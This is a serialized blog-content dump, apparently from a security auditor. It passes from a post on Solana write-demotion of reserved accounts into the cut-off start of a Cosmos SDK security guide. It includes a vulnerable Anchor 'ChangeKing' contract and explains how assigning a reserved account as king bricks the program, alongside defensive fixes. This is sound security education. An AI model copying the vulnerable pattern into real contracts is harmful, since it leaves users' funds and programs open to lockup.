maintains a ",{"type":25,"tag":162,"props":78999,"children":79001},{"href":78967,"rel":79000},[166],[79002],{"type":31,"value":78971},{"type":31,"value":79004},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":25,"tag":38,"props":79006,"children":79007},{},[79008,79010,79017,79019,79024],{"type":31,"value":79009},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":25,"tag":162,"props":79011,"children":79014},{"href":79012,"rel":79013},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[166],[79015],{"type":31,"value":79016},"feature gate is actived",{"type":31,"value":79018},", the runtime will ",{"type":25,"tag":9267,"props":79020,"children":79021},{},[79022],{"type":31,"value":79023},"automatically demote them to read-only",{"type":31,"value":79025},", even if the transaction marked them as writable.",{"type":25,"tag":206,"props":79027,"children":79029},{"className":6909,"code":79028,"language":6908,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[79030],{"type":25,"tag":82,"props":79031,"children":79032},{"__ignoreMap":7},[79033,79041,79049,79073,79127,79165,79194],{"type":25,"tag":216,"props":79034,"children":79035},{"class":6916,"line":6917},[79036],{"type":25,"tag":216,"props":79037,"children":79038},{"style":6921},[79039],{"type":31,"value":79040},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":25,"tag":216,"props":79042,"children":79043},{"class":6916,"line":6763},[79044],{"type":25,"tag":216,"props":79045,"children":79046},{"style":6921},[79047],{"type":31,"value":79048},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":25,"tag":216,"props":79050,"children":79051},{"class":6916,"line":6772},[79052,79056,79060,79065,79069],{"type":25,"tag":216,"props":79053,"children":79054},{"style":6930},[79055],{"type":31,"value":17664},{"type":25,"tag":216,"props":79057,"children":79058},{"style":6947},[79059],{"type":31,"value":179},{"type":25,"tag":216,"props":79061,"children":79062},{"style":6958},[79063],{"type":31,"value":79064},"reserved_account_keys ",{"type":25,"tag":216,"props":79066,"children":79067},{"style":6947},[79068],{"type":31,"value":266},{"type":25,"tag":216,"props":79070,"children":79071},{"style":6958},[79072],{"type":31,"value":7235},{"type":25,"tag":216,"props":79074,"children":79075},{"class":6916,"line":6999},[79076,79080,79084,79089,79093,79098,79102,79106,79110,79114,79118,79122],{"type":25,"tag":216,"props":79077,"children":79078},{"style":6930},[79079],{"type":31,"value":6933},{"type":25,"tag":216,"props":79081,"children":79082},{"style":6930},[79083],{"type":31,"value":6938},{"type":25,"tag":216,"props":79085,"children":79086},{"style":6941},[79087],{"type":31,"value":79088}," reserved_keys",{"type":25,"tag":216,"props":79090,"children":79091},{"style":6947},[79092],{"type":31,"value":6950},{"type":25,"tag":216,"props":79094,"children":79095},{"style":7369},[79096],{"type":31,"value":79097}," ReservedAccountKeys",{"type":25,"tag":216,"props":79099,"children":79100},{"style":6947},[79101],{"type":31,"value":7432},{"type":25,"tag":216,"props":79103,"children":79104},{"style":7041},[79105],{"type":31,"value":19371},{"type":25,"tag":216,"props":79107,"children":79108},{"style":6958},[79109],{"type":31,"value":1844},{"type":25,"tag":216,"props":79111,"children":79112},{"style":6947},[79113],{"type":31,"value":7053},{"type":25,"tag":216,"props":79115,"children":79116},{"style":6930},[79117],{"type":31,"value":17664},{"type":25,"tag":216,"props":79119,"children":79120},{"style":6947},[79121],{"type":31,"value":179},{"type":25,"tag":216,"props":79123,"children":79124},{"style":6958},[79125],{"type":31,"value":79126},"reserved_account_keys);\n",{"type":25,"tag":216,"props":79128,"children":79129},{"class":6916,"line":7104},[79130,79135,79139,79144,79148,79152,79156,79160],{"type":25,"tag":216,"props":79131,"children":79132},{"style":6941},[79133],{"type":31,"value":79134},"    reserved_keys",{"type":25,"tag":216,"props":79136,"children":79137},{"style":6947},[79138],{"type":31,"value":179},{"type":25,"tag":216,"props":79140,"children":79141},{"style":7041},[79142],{"type":31,"value":79143},"update_active_set",{"type":25,"tag":216,"props":79145,"children":79146},{"style":6958},[79147],{"type":31,"value":1844},{"type":25,"tag":216,"props":79149,"children":79150},{"style":6947},[79151],{"type":31,"value":7053},{"type":25,"tag":216,"props":79153,"children":79154},{"style":6930},[79155],{"type":31,"value":17664},{"type":25,"tag":216,"props":79157,"children":79158},{"style":6947},[79159],{"type":31,"value":179},{"type":25,"tag":216,"props":79161,"children":79162},{"style":6958},[79163],{"type":31,"value":79164},"feature_set);\n",{"type":25,"tag":216,"props":79166,"children":79167},{"class":6916,"line":7210},[79168,79173,79177,79181,79185,79190],{"type":25,"tag":216,"props":79169,"children":79170},{"style":7369},[79171],{"type":31,"value":79172},"    Arc",{"type":25,"tag":216,"props":79174,"children":79175},{"style":6947},[79176],{"type":31,"value":7432},{"type":25,"tag":216,"props":79178,"children":79179},{"style":7041},[79180],{"type":31,"value":19074},{"type":25,"tag":216,"props":79182,"children":79183},{"style":6958},[79184],{"type":31,"value":1844},{"type":25,"tag":216,"props":79186,"children":79187},{"style":6941},[79188],{"type":31,"value":79189},"reserved_keys",{"type":25,"tag":216,"props":79191,"children":79192},{"style":6958},[79193],{"type":31,"value":7101},{"type":25,"tag":216,"props":79195,"children":79196},{"class":6916,"line":7238},[79197],{"type":25,"tag":216,"props":79198,"children":79199},{"style":6958},[79200],{"type":31,"value":20530},{"type":25,"tag":631,"props":79202,"children":79204},{"id":79203},"consequences-silent-failures-and-bricked-programs",[79205],{"type":31,"value":79206},"Consequences: Silent Failures and Bricked Programs",{"type":25,"tag":38,"props":79208,"children":79209},{},[79210],{"type":31,"value":79211},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":25,"tag":206,"props":79213,"children":79215},{"className":6909,"code":79214,"language":6908,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[79216],{"type":25,"tag":82,"props":79217,"children":79218},{"__ignoreMap":7},[79219,79234,79261,79276,79315,79322,79369,79400,79407,79422,79453,79460,79475,79506],{"type":25,"tag":216,"props":79220,"children":79221},{"class":6916,"line":6917},[79222,79226,79230],{"type":25,"tag":216,"props":79223,"children":79224},{"style":6958},[79225],{"type":31,"value":26777},{"type":25,"tag":216,"props":79227,"children":79228},{"style":7369},[79229],{"type":31,"value":26782},{"type":25,"tag":216,"props":79231,"children":79232},{"style":6958},[79233],{"type":31,"value":24212},{"type":25,"tag":216,"props":79235,"children":79236},{"class":6916,"line":6763},[79237,79241,79245,79249,79253,79257],{"type":25,"tag":216,"props":79238,"children":79239},{"style":6930},[79240],{"type":31,"value":17641},{"type":25,"tag":216,"props":79242,"children":79243},{"style":6930},[79244],{"type":31,"value":25105},{"type":25,"tag":216,"props":79246,"children":79247},{"style":7369},[79248],{"type":31,"value":75274},{"type":25,"tag":216,"props":79250,"children":79251},{"style":6958},[79252],{"type":31,"value":26862},{"type":25,"tag":216,"props":79254,"children":79255},{"style":7369},[79256],{"type":31,"value":26867},{"type":25,"tag":216,"props":79258,"children":79259},{"style":6958},[79260],{"type":31,"value":11227},{"type":25,"tag":216,"props":79262,"children":79263},{"class":6916,"line":6772},[79264,79268,79272],{"type":25,"tag":216,"props":79265,"children":79266},{"style":6958},[79267],{"type":31,"value":27069},{"type":25,"tag":216,"props":79269,"children":79270},{"style":6930},[79271],{"type":31,"value":7685},{"type":25,"tag":216,"props":79273,"children":79274},{"style":6958},[79275],{"type":31,"value":24212},{"type":25,"tag":216,"props":79277,"children":79278},{"class":6916,"line":6999},[79279,79283,79287,79291,79295,79299,79303,79307,79311],{"type":25,"tag":216,"props":79280,"children":79281},{"style":6930},[79282],{"type":31,"value":24797},{"type":25,"tag":216,"props":79284,"children":79285},{"style":6941},[79286],{"type":31,"value":75313},{"type":25,"tag":216,"props":79288,"children":79289},{"style":6947},[79290],{"type":31,"value":1466},{"type":25,"tag":216,"props":79292,"children":79293},{"style":7369},[79294],{"type":31,"value":27034},{"type":25,"tag":216,"props":79296,"children":79297},{"style":6958},[79298],{"type":31,"value":26862},{"type":25,"tag":216,"props":79300,"children":79301},{"style":7369},[79302],{"type":31,"value":26867},{"type":25,"tag":216,"props":79304,"children":79305},{"style":6958},[79306],{"type":31,"value":7020},{"type":25,"tag":216,"props":79308,"children":79309},{"style":7369},[79310],{"type":31,"value":75338},{"type":25,"tag":216,"props":79312,"children":79313},{"style":6958},[79314],{"type":31,"value":10083},{"type":25,"tag":216,"props":79316,"children":79317},{"class":6916,"line":7104},[79318],{"type":25,"tag":216,"props":79319,"children":79320},{"emptyLinePlaceholder":16},[79321],{"type":31,"value":7636},{"type":25,"tag":216,"props":79323,"children":79324},{"class":6916,"line":7210},[79325,79329,79333,79337,79341,79345,79349,79353,79357,79361,79365],{"type":25,"tag":216,"props":79326,"children":79327},{"style":6958},[79328],{"type":31,"value":27069},{"type":25,"tag":216,"props":79330,"children":79331},{"style":6930},[79332],{"type":31,"value":7685},{"type":25,"tag":216,"props":79334,"children":79335},{"style":6958},[79336],{"type":31,"value":75373},{"type":25,"tag":216,"props":79338,"children":79339},{"style":6947},[79340],{"type":31,"value":266},{"type":25,"tag":216,"props":79342,"children":79343},{"style":6958},[79344],{"type":31,"value":75382},{"type":25,"tag":216,"props":79346,"children":79347},{"style":6947},[79348],{"type":31,"value":179},{"type":25,"tag":216,"props":79350,"children":79351},{"style":6958},[79352],{"type":31,"value":75391},{"type":25,"tag":216,"props":79354,"children":79355},{"style":6947},[79356],{"type":31,"value":12522},{"type":25,"tag":216,"props":79358,"children":79359},{"style":6958},[79360],{"type":31,"value":75313},{"type":25,"tag":216,"props":79362,"children":79363},{"style":6947},[79364],{"type":31,"value":179},{"type":25,"tag":216,"props":79366,"children":79367},{"style":6958},[79368],{"type":31,"value":75408},{"type":25,"tag":216,"props":79370,"children":79371},{"class":6916,"line":7238},[79372,79376,79380,79384,79388,79392,79396],{"type":25,"tag":216,"props":79373,"children":79374},{"style":6930},[79375],{"type":31,"value":24797},{"type":25,"tag":216,"props":79377,"children":79378},{"style":6941},[79379],{"type":31,"value":75382},{"type":25,"tag":216,"props":79381,"children":79382},{"style":6947},[79383],{"type":31,"value":1466},{"type":25,"tag":216,"props":79385,"children":79386},{"style":7369},[79387],{"type":31,"value":29350},{"type":25,"tag":216,"props":79389,"children":79390},{"style":6958},[79391],{"type":31,"value":26862},{"type":25,"tag":216,"props":79393,"children":79394},{"style":7369},[79395],{"type":31,"value":26867},{"type":25,"tag":216,"props":79397,"children":79398},{"style":6958},[79399],{"type":31,"value":10083},{"type":25,"tag":216,"props":79401,"children":79402},{"class":6916,"line":7251},[79403],{"type":25,"tag":216,"props":79404,"children":79405},{"emptyLinePlaceholder":16},[79406],{"type":31,"value":7636},{"type":25,"tag":216,"props":79408,"children":79409},{"class":6916,"line":7269},[79410,79414,79418],{"type":25,"tag":216,"props":79411,"children":79412},{"style":6958},[79413],{"type":31,"value":27069},{"type":25,"tag":216,"props":79415,"children":79416},{"style":6930},[79417],{"type":31,"value":7685},{"type":25,"tag":216,"props":79419,"children":79420},{"style":6958},[79421],{"type":31,"value":24212},{"type":25,"tag":216,"props":79423,"children":79424},{"class":6916,"line":7290},[79425,79429,79433,79437,79441,79445,79449],{"type":25,"tag":216,"props":79426,"children":79427},{"style":6930},[79428],{"type":31,"value":24797},{"type":25,"tag":216,"props":79430,"children":79431},{"style":6941},[79432],{"type":31,"value":75481},{"type":25,"tag":216,"props":79434,"children":79435},{"style":6947},[79436],{"type":31,"value":1466},{"type":25,"tag":216,"props":79438,"children":79439},{"style":7369},[79440],{"type":31,"value":29350},{"type":25,"tag":216,"props":79442,"children":79443},{"style":6958},[79444],{"type":31,"value":26862},{"type":25,"tag":216,"props":79446,"children":79447},{"style":7369},[79448],{"type":31,"value":26867},{"type":25,"tag":216,"props":79450,"children":79451},{"style":6958},[79452],{"type":31,"value":10083},{"type":25,"tag":216,"props":79454,"children":79455},{"class":6916,"line":7299},[79456],{"type":25,"tag":216,"props":79457,"children":79458},{"emptyLinePlaceholder":16},[79459],{"type":31,"value":7636},{"type":25,"tag":216,"props":79461,"children":79462},{"class":6916,"line":7551},[79463,79467,79471],{"type":25,"tag":216,"props":79464,"children":79465},{"style":6958},[79466],{"type":31,"value":27069},{"type":25,"tag":216,"props":79468,"children":79469},{"style":6930},[79470],{"type":31,"value":7685},{"type":25,"tag":216,"props":79472,"children":79473},{"style":6958},[79474],{"type":31,"value":24212},{"type":25,"tag":216,"props":79476,"children":79477},{"class":6916,"line":7568},[79478,79482,79486,79490,79494,79498,79502],{"type":25,"tag":216,"props":79479,"children":79480},{"style":6930},[79481],{"type":31,"value":24797},{"type":25,"tag":216,"props":79483,"children":79484},{"style":6941},[79485],{"type":31,"value":46200},{"type":25,"tag":216,"props":79487,"children":79488},{"style":6947},[79489],{"type":31,"value":1466},{"type":25,"tag":216,"props":79491,"children":79492},{"style":7369},[79493],{"type":31,"value":27098},{"type":25,"tag":216,"props":79495,"children":79496},{"style":6958},[79497],{"type":31,"value":26862},{"type":25,"tag":216,"props":79499,"children":79500},{"style":7369},[79501],{"type":31,"value":26867},{"type":25,"tag":216,"props":79503,"children":79504},{"style":6958},[79505],{"type":31,"value":10083},{"type":25,"tag":216,"props":79507,"children":79508},{"class":6916,"line":7585},[79509],{"type":25,"tag":216,"props":79510,"children":79511},{"style":6958},[79512],{"type":31,"value":7868},{"type":25,"tag":38,"props":79514,"children":79515},{},[79516,79518,79524,79526,79532],{"type":31,"value":79517},"This works fine — until one day, ",{"type":25,"tag":82,"props":79519,"children":79521},{"className":79520},[],[79522],{"type":31,"value":79523},"old_king",{"type":31,"value":79525}," is silently demoted. Suddenly, the ",{"type":25,"tag":82,"props":79527,"children":79529},{"className":79528},[],[79530],{"type":31,"value":79531},"#[account(mut)]",{"type":31,"value":79533}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":25,"tag":631,"props":79535,"children":79537},{"id":79536},"real-world-example-write-demotion-with-secp256r1_program",[79538,79540],{"type":31,"value":79539},"Real-World Example: Write-Demotion with ",{"type":25,"tag":82,"props":79541,"children":79543},{"className":79542},[],[79544],{"type":31,"value":79545},"secp256r1_program",{"type":25,"tag":38,"props":79547,"children":79548},{},[79549,79551,79556],{"type":31,"value":79550},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":25,"tag":82,"props":79552,"children":79554},{"className":79553},[],[79555],{"type":31,"value":79545},{"type":31,"value":79557},", a precompiled program gated behind a feature flag:",{"type":25,"tag":206,"props":79559,"children":79561},{"className":6909,"code":79560,"language":6908,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[79562],{"type":25,"tag":82,"props":79563,"children":79564},{"__ignoreMap":7},[79565,79586,79606,79635],{"type":25,"tag":216,"props":79566,"children":79567},{"class":6916,"line":6917},[79568,79573,79577,79582],{"type":25,"tag":216,"props":79569,"children":79570},{"style":7369},[79571],{"type":31,"value":79572},"ReservedAccount",{"type":25,"tag":216,"props":79574,"children":79575},{"style":6947},[79576],{"type":31,"value":7432},{"type":25,"tag":216,"props":79578,"children":79579},{"style":7041},[79580],{"type":31,"value":79581},"new_pending",{"type":25,"tag":216,"props":79583,"children":79584},{"style":6958},[79585],{"type":31,"value":7414},{"type":25,"tag":216,"props":79587,"children":79588},{"class":6916,"line":6763},[79589,79594,79598,79602],{"type":25,"tag":216,"props":79590,"children":79591},{"style":6958},[79592],{"type":31,"value":79593},"    secp256r1_program",{"type":25,"tag":216,"props":79595,"children":79596},{"style":6947},[79597],{"type":31,"value":7432},{"type":25,"tag":216,"props":79599,"children":79600},{"style":7041},[79601],{"type":31,"value":7437},{"type":25,"tag":216,"props":79603,"children":79604},{"style":6958},[79605],{"type":31,"value":7442},{"type":25,"tag":216,"props":79607,"children":79608},{"class":6916,"line":6772},[79609,79614,79618,79623,79627,79631],{"type":25,"tag":216,"props":79610,"children":79611},{"style":6958},[79612],{"type":31,"value":79613},"    feature_set",{"type":25,"tag":216,"props":79615,"children":79616},{"style":6947},[79617],{"type":31,"value":7432},{"type":25,"tag":216,"props":79619,"children":79620},{"style":6958},[79621],{"type":31,"value":79622},"enable_secp256r1_precompile",{"type":25,"tag":216,"props":79624,"children":79625},{"style":6947},[79626],{"type":31,"value":7432},{"type":25,"tag":216,"props":79628,"children":79629},{"style":7041},[79630],{"type":31,"value":7437},{"type":25,"tag":216,"props":79632,"children":79633},{"style":6958},[79634],{"type":31,"value":7442},{"type":25,"tag":216,"props":79636,"children":79637},{"class":6916,"line":6999},[79638],{"type":25,"tag":216,"props":79639,"children":79640},{"style":6958},[79641],{"type":31,"value":7101},{"type":25,"tag":38,"props":79643,"children":79644},{},[79645,79647,79652,79654,79660],{"type":31,"value":79646},"Before the ",{"type":25,"tag":82,"props":79648,"children":79650},{"className":79649},[],[79651],{"type":31,"value":79622},{"type":31,"value":79653}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":25,"tag":82,"props":79655,"children":79657},{"className":79656},[],[79658],{"type":31,"value":79659},"secp256r1_program::id()",{"type":31,"value":79661}," as the king in a contract.",{"type":25,"tag":38,"props":79663,"children":79664},{},[79665,79667,79672],{"type":31,"value":79666},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":25,"tag":82,"props":79668,"children":79670},{"className":79669},[],[79671],{"type":31,"value":79659},{"type":31,"value":79673}," becomes the eternal king, and no one can dethrone it.",{"type":25,"tag":631,"props":79675,"children":79677},{"id":79676},"fix-3-preventing-write-demotion-pitfalls",[79678],{"type":31,"value":79679},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":25,"tag":38,"props":79681,"children":79682},{},[79683,79685,79690],{"type":31,"value":79684},"Alright, let’s try to fix this ",{"type":25,"tag":64,"props":79686,"children":79687},{},[79688],{"type":31,"value":79689},"yet another",{"type":31,"value":79691}," edge case — and hopefully close the book on it.",{"type":25,"tag":631,"props":79693,"children":79695},{"id":79694},"attempt-1-block-known-reserved-accounts",[79696],{"type":31,"value":79697},"Attempt 1: Block Known Reserved Accounts",{"type":25,"tag":38,"props":79699,"children":79700},{},[79701],{"type":31,"value":79702},"One naive solution is to reject any known reserved account, for example:",{"type":25,"tag":206,"props":79704,"children":79706},{"className":44318,"code":79705,"language":44320,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[79707],{"type":25,"tag":82,"props":79708,"children":79709},{"__ignoreMap":7},[79710,79718],{"type":25,"tag":216,"props":79711,"children":79712},{"class":6916,"line":6917},[79713],{"type":25,"tag":216,"props":79714,"children":79715},{"style":6958},[79716],{"type":31,"value":79717},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":25,"tag":216,"props":79719,"children":79720},{"class":6916,"line":6763},[79721],{"type":25,"tag":216,"props":79722,"children":79723},{"style":6983},[79724],{"type":31,"value":79725},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":25,"tag":38,"props":79727,"children":79728},{},[79729,79731,79736],{"type":31,"value":79730},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":25,"tag":82,"props":79732,"children":79734},{"className":79733},[],[79735],{"type":31,"value":79572},{"type":31,"value":79737}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":25,"tag":631,"props":79739,"children":79741},{"id":79740},"attempt-2-use-a-pda-vault",[79742],{"type":31,"value":79743},"Attempt 2: Use a PDA Vault",{"type":25,"tag":38,"props":79745,"children":79746},{},[79747,79749,79754],{"type":31,"value":79748},"A more future-proof fix is to avoid ",{"type":25,"tag":9267,"props":79750,"children":79751},{},[79752],{"type":31,"value":79753},"transferring lamports to arbitrary accounts",{"type":31,"value":79755}," altogether.",{"type":25,"tag":38,"props":79757,"children":79758},{},[79759],{"type":31,"value":79760},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":25,"tag":26,"props":79762,"children":79764},{"id":79763},"final-thoughts",[79765],{"type":31,"value":79766},"Final Thoughts",{"type":25,"tag":38,"props":79768,"children":79769},{},[79770],{"type":31,"value":79771},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":25,"tag":38,"props":79773,"children":79774},{},[79775],{"type":31,"value":79776},"We can safely transfer lamports to an account under the following conditions:",{"type":25,"tag":2033,"props":79778,"children":79779},{},[79780,79785,79790],{"type":25,"tag":2037,"props":79781,"children":79782},{},[79783],{"type":31,"value":79784},"It's not executable.",{"type":25,"tag":2037,"props":79786,"children":79787},{},[79788],{"type":31,"value":79789},"Its balance, after the transfer, remains rent-exempt.",{"type":25,"tag":2037,"props":79791,"children":79792},{},[79793],{"type":31,"value":79794},"It's not a reserved account.",{"type":25,"tag":38,"props":79796,"children":79797},{},[79798],{"type":31,"value":79799},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":25,"tag":9310,"props":79801,"children":79802},{},[79803],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":79805},[79806,79807,79808,79814],{"id":32969,"depth":6763,"text":32972},{"id":75188,"depth":6763,"text":75191},{"id":76295,"depth":6763,"text":76298,"children":79809},[79810,79811,79813],{"id":76301,"depth":6772,"text":76304},{"id":76988,"depth":6772,"text":79812},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":78293,"depth":6772,"text":78296},{"id":79763,"depth":6763,"text":79766},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":79819,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":79820,"description":79821,"date":79822,"author":79823,"image":79824,"isFeatured":16,"onBlogPage":16,"tags":79826,"body":79829,"_type":6792,"_id":93713,"_source":6794,"_file":93714,"_stem":93715,"_extension":6797},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":79825,"width":17574,"height":17574},"/posts/cosmos-security/title.png",[79827,79828],"cosmos-sdk","security",{"type":22,"children":79830,"toc":93691},[79831,79835,79840,79845,79851,79856,79861,79866,80127,80616,80635,80640,80645,80650,80656,80661,80696,80706,81213,81233,81246,81252,81257,81262,81503,81508,81516,81528,81890,81895,81900,81936,81945,82371,82392,82398,82418,82439,82458,82490,82502,82514,83168,83196,83205,83645,83672,83692,83697,83718,83767,83776,85008,85036,85042,85047,85052,85072,85359,85393,85574,85579,85584,85628,85637,86829,87080,87093,87099,87133,87138,87201,87206,87226,87245,87257,87276,87968,87973,87978,88006,88015,88899,88926,88932,88952,88957,88970,89144,89157,89248,89253,89261,89271,89421,89426,89446,89454,89459,89857,89869,89874,89915,89926,89946,90254,90259,91184,91196,91204,91209,92202,92207,92219,92239,92258,93172,93229,93335,93347,93352,93357,93385,93394,93620,93646,93659,93673,93677,93682,93687],{"type":25,"tag":26,"props":79832,"children":79833},{"id":32969},[79834],{"type":31,"value":32972},{"type":25,"tag":38,"props":79836,"children":79837},{},[79838],{"type":31,"value":79839},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":25,"tag":38,"props":79841,"children":79842},{},[79843],{"type":31,"value":79844},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":25,"tag":26,"props":79846,"children":79848},{"id":79847},"its-loopin-time",[79849],{"type":31,"value":79850},"It's Loopin' Time",{"type":25,"tag":38,"props":79852,"children":79853},{},[79854],{"type":31,"value":79855},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":25,"tag":38,"props":79857,"children":79858},{},[79859],{"type":31,"value":79860},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":25,"tag":38,"props":79862,"children":79863},{},[79864],{"type":31,"value":79865},"Here is a simple example for reference:",{"type":25,"tag":206,"props":79867,"children":79869},{"code":79868,"language":8416,"meta":7,"className":8417,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[79870],{"type":25,"tag":82,"props":79871,"children":79872},{"__ignoreMap":7},[79873,79889,79906,79922,79944,79973,79994,80018,80039,80046,80067,80084,80101,80108,80120],{"type":25,"tag":216,"props":79874,"children":79875},{"class":6916,"line":6917},[79876,79880,79885],{"type":25,"tag":216,"props":79877,"children":79878},{"style":6930},[79879],{"type":31,"value":35333},{"type":25,"tag":216,"props":79881,"children":79882},{"style":7041},[79883],{"type":31,"value":79884}," sumWithStride",{"type":25,"tag":216,"props":79886,"children":79887},{"style":6958},[79888],{"type":31,"value":7414},{"type":25,"tag":216,"props":79890,"children":79891},{"class":6916,"line":6763},[79892,79897,79902],{"type":25,"tag":216,"props":79893,"children":79894},{"style":7369},[79895],{"type":31,"value":79896},"    uint64",{"type":25,"tag":216,"props":79898,"children":79899},{"style":6941},[79900],{"type":31,"value":79901}," start",{"type":25,"tag":216,"props":79903,"children":79904},{"style":6958},[79905],{"type":31,"value":7459},{"type":25,"tag":216,"props":79907,"children":79908},{"class":6916,"line":6772},[79909,79913,79918],{"type":25,"tag":216,"props":79910,"children":79911},{"style":7369},[79912],{"type":31,"value":79896},{"type":25,"tag":216,"props":79914,"children":79915},{"style":6941},[79916],{"type":31,"value":79917}," stride",{"type":25,"tag":216,"props":79919,"children":79920},{"style":6958},[79921],{"type":31,"value":7459},{"type":25,"tag":216,"props":79923,"children":79924},{"class":6916,"line":6999},[79925,79929,79934,79939],{"type":25,"tag":216,"props":79926,"children":79927},{"style":7369},[79928],{"type":31,"value":79896},{"type":25,"tag":216,"props":79930,"children":79931},{"style":6958},[79932],{"type":31,"value":79933},"[] ",{"type":25,"tag":216,"props":79935,"children":79936},{"style":6930},[79937],{"type":31,"value":79938},"memory",{"type":25,"tag":216,"props":79940,"children":79941},{"style":6941},[79942],{"type":31,"value":79943}," arr\n",{"type":25,"tag":216,"props":79945,"children":79946},{"class":6916,"line":7104},[79947,79951,79955,79960,79964,79969],{"type":25,"tag":216,"props":79948,"children":79949},{"style":6958},[79950],{"type":31,"value":7030},{"type":25,"tag":216,"props":79952,"children":79953},{"style":6930},[79954],{"type":31,"value":65637},{"type":25,"tag":216,"props":79956,"children":79957},{"style":6967},[79958],{"type":31,"value":79959}," returns",{"type":25,"tag":216,"props":79961,"children":79962},{"style":6958},[79963],{"type":31,"value":7010},{"type":25,"tag":216,"props":79965,"children":79966},{"style":7369},[79967],{"type":31,"value":79968},"uint64",{"type":25,"tag":216,"props":79970,"children":79971},{"style":6958},[79972],{"type":31,"value":18755},{"type":25,"tag":216,"props":79974,"children":79975},{"class":6916,"line":7210},[79976,79980,79985,79989],{"type":25,"tag":216,"props":79977,"children":79978},{"style":7369},[79979],{"type":31,"value":79896},{"type":25,"tag":216,"props":79981,"children":79982},{"style":6958},[79983],{"type":31,"value":79984}," idx ",{"type":25,"tag":216,"props":79986,"children":79987},{"style":6947},[79988],{"type":31,"value":266},{"type":25,"tag":216,"props":79990,"children":79991},{"style":6958},[79992],{"type":31,"value":79993}," start;\n",{"type":25,"tag":216,"props":79995,"children":79996},{"class":6916,"line":7238},[79997,80001,80006,80010,80014],{"type":25,"tag":216,"props":79998,"children":79999},{"style":7369},[80000],{"type":31,"value":79896},{"type":25,"tag":216,"props":80002,"children":80003},{"style":6958},[80004],{"type":31,"value":80005}," sum ",{"type":25,"tag":216,"props":80007,"children":80008},{"style":6947},[80009],{"type":31,"value":266},{"type":25,"tag":216,"props":80011,"children":80012},{"style":6983},[80013],{"type":31,"value":6986},{"type":25,"tag":216,"props":80015,"children":80016},{"style":6958},[80017],{"type":31,"value":6961},{"type":25,"tag":216,"props":80019,"children":80020},{"class":6916,"line":7251},[80021,80025,80030,80034],{"type":25,"tag":216,"props":80022,"children":80023},{"style":7369},[80024],{"type":31,"value":79896},{"type":25,"tag":216,"props":80026,"children":80027},{"style":6958},[80028],{"type":31,"value":80029}," end 